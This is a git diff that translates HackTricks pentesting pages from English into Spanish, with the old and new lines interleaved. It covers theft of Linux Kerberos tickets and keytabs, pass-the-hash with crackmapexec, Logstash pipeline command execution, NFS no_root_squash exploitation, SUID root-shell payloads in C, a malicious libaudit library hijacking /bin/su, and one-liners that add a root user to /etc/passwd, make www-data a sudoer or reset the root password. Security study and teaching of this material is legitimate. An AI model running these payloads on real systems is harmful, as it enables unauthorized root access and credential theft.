A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. ## Enumeración
## Enumeration ### Enumeración de AD desde linux
### AD enumeration from linux Si tienes acceso a un AD en linux (o bash en Windows) puedes intentar [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) para enumerar el AD.
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. También puedes consultar la siguiente página para aprender **otras formas de enumerar AD desde linux**:
You can also check the following page to learn **other ways to enumerate AD from linux**:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-ldap.md ../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA ### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y soporta autenticación **multi-factor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en:
{{#ref}} {{#ref}}
../freeipa-pentesting.md ../freeipa-pentesting.md
{{#endref}} {{#endref}}
## Playing with tickets ## Jugando con tickets
### Pass The Ticket ### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: En esta página encontrarás diferentes lugares donde podrías **encontrar tickets kerberos dentro de un host linux**, en la siguiente página puedes aprender cómo transformar estos formatos de tickets CCache a Kirbi (el formato que necesitas usar en Windows) y también cómo realizar un ataque PTT:
{{#ref}} {{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md ../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}} {{#endref}}
### CCACHE ticket reuse from /tmp ### Reutilización de tickets CCACHE desde /tmp
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. Los archivos CCACHE son formatos binarios para **almacenar credenciales Kerberos** que generalmente se almacenan con permisos 600 en `/tmp`. Estos archivos pueden ser identificados por su **formato de nombre, `krb5cc_%{uid}`,** que correlaciona con el UID del usuario. Para la verificación del ticket de autenticación, la **variable de entorno `KRB5CCNAME`** debe ser configurada con la ruta del archivo de ticket deseado, permitiendo su reutilización.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
Lista el ticket actual utilizado para la autenticación con `env | grep KRB5CCNAME`. El formato es portátil y el ticket puede ser **reutilizado configurando la variable de entorno** con `export KRB5CCNAME=/tmp/ticket.ccache`. El formato del nombre del ticket Kerberos es `krb5cc_%{uid}` donde uid es el UID del usuario.
```bash ```bash
# Find tickets # Find tickets
ls /tmp/ | grep krb5cc ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it # Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000 export KRB5CCNAME=/tmp/krb5cc_1000
``` ```
### Reutilización de tickets CCACHE desde el keyring
### CCACHE ticket reuse from keyring **Los tickets de Kerberos almacenados en la memoria de un proceso pueden ser extraídos**, particularmente cuando la protección ptrace de la máquina está deshabilitada (`/proc/sys/kernel/yama/ptrace_scope`). Una herramienta útil para este propósito se encuentra en [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), que facilita la extracción inyectando en sesiones y volcando tickets en `/tmp`.
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
Para configurar y usar esta herramienta, se siguen los pasos a continuación:
```bash ```bash
git clone https://github.com/TarlogicSecurity/tickey git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey cd tickey/tickey
make CONF=Release make CONF=Release
/tmp/tickey -i /tmp/tickey -i
``` ```
Este procedimiento intentará inyectar en varias sesiones, indicando el éxito al almacenar los tickets extraídos en `/tmp` con una convención de nombres de `__krb_UID.ccache`.
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. ### Reutilización de tickets CCACHE desde SSSD KCM
### CCACHE ticket reuse from SSSD KCM SSSD mantiene una copia de la base de datos en la ruta `/var/lib/sss/secrets/secrets.ldb`. La clave correspondiente se almacena como un archivo oculto en la ruta `/var/lib/sss/secrets/.secrets.mkey`. Por defecto, la clave solo es legible si tienes permisos de **root**.
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
Invocar \*\*`SSSDKCMExtractor` \*\* con los parámetros --database y --key analizará la base de datos y **desencriptará los secretos**.
```bash ```bash
git clone https://github.com/fireeye/SSSDKCMExtractor git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
``` ```
El **blob de caché de credenciales de Kerberos se puede convertir en un archivo CCache de Kerberos utilizable** que se puede pasar a Mimikatz/Rubeus.
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. ### Reutilización de tickets CCACHE desde keytab
### CCACHE ticket reuse from keytab
```bash ```bash
git clone https://github.com/its-a-feature/KeytabParser git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab klist -k /etc/krb5.keytab
``` ```
### Extraer cuentas de /etc/krb5.keytab
### Extract accounts from /etc/krb5.keytab Las claves de cuentas de servicio, esenciales para los servicios que operan con privilegios de root, se almacenan de forma segura en los archivos **`/etc/krb5.keytab`**. Estas claves, similares a contraseñas para servicios, requieren estricta confidencialidad.
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
Para inspeccionar el contenido del archivo keytab, se puede emplear **`klist`**. La herramienta está diseñada para mostrar detalles de la clave, incluyendo el **NT Hash** para la autenticación de usuarios, particularmente cuando el tipo de clave se identifica como 23.
```bash ```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash # Output includes service principal details and the NT Hash
``` ```
Para los usuarios de Linux, **`KeyTabExtract`** ofrece funcionalidad para extraer el hash RC4 HMAC, que se puede aprovechar para la reutilización del hash NTLM.
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
```bash ```bash
python3 keytabextract.py krb5.keytab python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability # Expected output varies based on hash availability
``` ```
En macOS, **`bifrost`** sirve como una herramienta para el análisis de archivos keytab.
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
```bash ```bash
./bifrost -action dump -source keytab -path /path/to/your/file ./bifrost -action dump -source keytab -path /path/to/your/file
``` ```
Utilizando la información de cuenta y hash extraída, se pueden establecer conexiones a servidores utilizando herramientas como **`crackmapexec`**.
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
```bash ```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
``` ```
## Referencias
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,59 +2,55 @@
## Logstash ## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. Logstash se utiliza para **reunir, transformar y despachar registros** a través de un sistema conocido como **pipelines**. Estos pipelines se componen de etapas de **entrada**, **filtro** y **salida**. Un aspecto interesante surge cuando Logstash opera en una máquina comprometida.
### Pipeline Configuration ### Configuración del Pipeline
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
Los pipelines se configuran en el archivo **/etc/logstash/pipelines.yml**, que enumera las ubicaciones de las configuraciones del pipeline:
```yaml ```yaml
# Define your pipelines here. Multiple pipelines can be defined. # Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation: # For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main - pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf" path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example - pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6 pipeline.workers: 6
``` ```
Este archivo revela dónde se encuentran los archivos **.conf**, que contienen configuraciones de pipeline. Al emplear un **módulo de salida de Elasticsearch**, es común que los **pipelines** incluyan **credenciales de Elasticsearch**, que a menudo poseen amplios privilegios debido a la necesidad de Logstash de escribir datos en Elasticsearch. Los comodines en las rutas de configuración permiten a Logstash ejecutar todos los pipelines que coincidan en el directorio designado.
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. ### Escalación de Privilegios a través de Pipelines Escribibles
### Privilege Escalation via Writable Pipelines Para intentar la escalación de privilegios, primero identifica el usuario bajo el cual se está ejecutando el servicio de Logstash, típicamente el usuario **logstash**. Asegúrate de cumplir **uno** de estos criterios:
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: - Poseer **acceso de escritura** a un archivo de pipeline **.conf** **o**
- El archivo **/etc/logstash/pipelines.yml** utiliza un comodín, y puedes escribir en la carpeta de destino
- Possess **write access** to a pipeline **.conf** file **or** Además, **una** de estas condiciones debe cumplirse:
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
Additionally, **one** of these conditions must be fulfilled: - Capacidad para reiniciar el servicio de Logstash **o**
- El archivo **/etc/logstash/logstash.yml** tiene **config.reload.automatic: true** configurado
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
Dado un comodín en la configuración, crear un archivo que coincida con este comodín permite la ejecución de comandos. Por ejemplo:
```bash ```bash
input { input {
exec { exec {
command => "whoami" command => "whoami"
interval => 120 interval => 120
} }
} }
output { output {
file { file {
path => "/tmp/output.log" path => "/tmp/output.log"
codec => rubydebug codec => rubydebug
} }
} }
``` ```
Aquí, **interval** determina la frecuencia de ejecución en segundos. En el ejemplo dado, el comando **whoami** se ejecuta cada 120 segundos, con su salida dirigida a **/tmp/output.log**.
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. Con **config.reload.automatic: true** en **/etc/logstash/logstash.yml**, Logstash detectará y aplicará automáticamente nuevas configuraciones de pipeline o modificaciones sin necesidad de reiniciar. Si no hay un comodín, aún se pueden hacer modificaciones a las configuraciones existentes, pero se recomienda precaución para evitar interrupciones.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
## References ## References

View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. Lee el _ **/etc/exports** _ archivo, si encuentras algún directorio que esté configurado como **no_root_squash**, entonces puedes **acceder** a él **como cliente** y **escribir dentro** de ese directorio **como** si fueras el **root** local de la máquina.
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. **no_root_squash**: Esta opción básicamente le da autoridad al usuario root en el cliente para acceder a archivos en el servidor NFS como root. Y esto puede llevar a serias implicaciones de seguridad.
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. **no_all_squash:** Esto es similar a la opción **no_root_squash** pero se aplica a **usuarios no root**. Imagina que tienes un shell como el usuario nobody; revisaste el archivo /etc/exports; la opción no_all_squash está presente; revisa el archivo /etc/passwd; emula un usuario no root; crea un archivo suid como ese usuario (montando usando nfs). Ejecuta el suid como el usuario nobody y conviértete en un usuario diferente.
# Privilege Escalation # Escalamiento de Privilegios
## Remote Exploit ## Explotación Remota
If you have found this vulnerability, you can exploit it: Si has encontrado esta vulnerabilidad, puedes explotarla:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash.
```bash ```bash
#Attacker, as root user #Attacker, as root user
mkdir /tmp/pe mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER> cd <SHAREDD_FOLDER>
./bash -p #ROOT shell ./bash -p #ROOT shell
``` ```
- **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada nuestro payload compilado que abusará del permiso SUID, dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario (puedes encontrar aquí algunos [payloads C SUID](payloads-to-execute.md#c)).
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
```bash ```bash
#Attacker, as root user #Attacker, as root user
gcc payload.c -o payload gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER> cd <SHAREDD_FOLDER>
./payload #ROOT shell ./payload #ROOT shell
``` ```
## Local Exploit ## Local Exploit
> [!NOTE] > [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ > Tenga en cuenta que si puede crear un **túnel desde su máquina a la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ > El siguiente truco es en caso de que el archivo `/etc/exports` **indique una IP**. En este caso, **no podrá usar** en ningún caso la **explotación remota** y necesitará **abusar de este truco**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ > Otro requisito necesario para que la explotación funcione es que **la exportación dentro de `/etc/export`** **debe estar usando la bandera `insecure`**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- > --_No estoy seguro de que si `/etc/export` está indicando una dirección IP, este truco funcionará_--
## Basic Information ## Basic Information
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. El escenario implica explotar un recurso compartido NFS montado en una máquina local, aprovechando un defecto en la especificación de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotación implica usar [libnfs](https://github.com/sahlberg/libnfs), una biblioteca que permite la falsificación de llamadas RPC de NFS.
### Compiling the Library ### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: Los pasos de compilación de la biblioteca pueden requerir ajustes según la versión del kernel. En este caso específico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilación implica los siguientes comandos:
```bash ```bash
./bootstrap ./bootstrap
./configure ./configure
make make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
``` ```
### Realizando el Explotación
### Conducting the Exploit La explotación implica crear un programa simple en C (`pwn.c`) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (`a.out`) se coloca en el recurso compartido con suid root, utilizando `ld_nfs.so` para falsificar el uid en las llamadas RPC:
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: 1. **Compilar el código de explotación:**
1. **Compile the exploit code:** ```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash 2. **Colocar la explotación en el recurso compartido y modificar sus permisos falsificando el uid:**
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Place the exploit on the share and modify its permissions by faking the uid:** ```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash 3. **Ejecutar la explotación para obtener privilegios de root:**
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ ```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out /mnt/share/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out #root
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ```
```
3. **Execute the exploit to gain root privileges:** ## Bonificación: NFShell para Acceso a Archivos Sigiloso
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
Una vez que se obtiene acceso root, para interactuar con el recurso compartido NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo al que se accede, permitiendo la interacción con archivos en el recurso compartido sin problemas de permisos:
```python ```python
#!/usr/bin/env python #!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html # script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os import os
def get_file_uid(filepath): def get_file_uid(filepath):
try: try:
uid = os.stat(filepath).st_uid uid = os.stat(filepath).st_uid
except OSError as e: except OSError as e:
return get_file_uid(os.path.dirname(filepath)) return get_file_uid(os.path.dirname(filepath))
return uid return uid
filepath = sys.argv[-1] filepath = sys.argv[-1]
uid = get_file_uid(filepath) uid = get_file_uid(filepath)
os.setreuid(uid, uid) os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:])) os.system(' '.join(sys.argv[1:]))
``` ```
Ejecutar como:
Run like:
```bash ```bash
# ll ./mount/ # ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -3,20 +3,17 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Bash ## Bash
```bash ```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu /bin/b -p #Maintains root privileges from suid, working in debian & buntu
``` ```
## C ## C
```c ```c
//gcc payload.c -o payload //gcc payload.c -o payload
int main(void){ int main(void){
setresuid(0, 0, 0); //Set as user suid user setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh"); system("/bin/sh");
return 0; return 0;
} }
``` ```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h> #include <sys/types.h>
int main(){ int main(){
setuid(getuid()); setuid(getuid());
system("/bin/bash"); system("/bin/bash");
return 0; return 0;
} }
``` ```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h> #include <unistd.h>
int main(void) { int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL}; char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000; const int id = 1000;
setresuid(id, id, id); setresuid(id, id, id);
execve(paramList[0], paramList, NULL); execve(paramList[0], paramList, NULL);
return 0; return 0;
} }
``` ```
## Sobrescribiendo un archivo para escalar privilegios
## Overwriting a file to escalate privileges ### Archivos comunes
### Common files - Agregar usuario con contraseña a _/etc/passwd_
- Cambiar contraseña dentro de _/etc/shadow_
- Agregar usuario a sudoers en _/etc/sudoers_
- Abusar de docker a través del socket de docker, generalmente en _/run/docker.sock_ o _/var/run/docker.sock_
- Add user with password to _/etc/passwd_ ### Sobrescribiendo una biblioteca
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
Verificar una biblioteca utilizada por algún binario, en este caso `/bin/su`:
```bash ```bash
ldd /bin/su ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000) linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
``` ```
En este caso, intentemos suplantar `/lib/x86_64-linux-gnu/libaudit.so.1`.\
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ Así que, verifique las funciones de esta biblioteca utilizadas por el **`su`** binario:
So, check for functions of this library used by the **`su`** binary:
```bash ```bash
objdump -T /bin/su | grep audit objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open 0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd 000000000020e968 g DO .bss 0000000000000004 Base audit_fd
``` ```
Los símbolos `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` y `audit_fd` probablemente provienen de la biblioteca libaudit.so.1. Dado que la libaudit.so.1 será sobrescrita por la biblioteca compartida maliciosa, estos símbolos deberían estar presentes en la nueva biblioteca compartida; de lo contrario, el programa no podrá encontrar el símbolo y saldrá.
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
```c ```c
#include<stdio.h> #include<stdio.h>
#include<stdlib.h> #include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject() void inject()
{ {
setuid(0); setuid(0);
setgid(0); setgid(0);
system("/bin/bash"); system("/bin/bash");
} }
``` ```
Ahora, solo llamando a **`/bin/su`** obtendrás un shell como root.
Now, just calling **`/bin/su`** you will obtain a shell as root.
## Scripts ## Scripts
Can you make root execute something? ¿Puedes hacer que root ejecute algo?
### **www-data to sudoers**
### **www-data a sudoers**
```bash ```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
``` ```
### **Cambiar la contraseña de root**
### **Change root password**
```bash ```bash
echo "root:hacked" | chpasswd echo "root:hacked" | chpasswd
``` ```
### Agregar nuevo usuario root a /etc/passwd
### Add new root user to /etc/passwd
```bash ```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation # Escalación de privilegios de RunC
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic information ## Información básica
If you want to learn more about **runc** check the following page: Si deseas aprender más sobre **runc**, consulta la siguiente página:
{{#ref}} {{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md ../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE ## PE
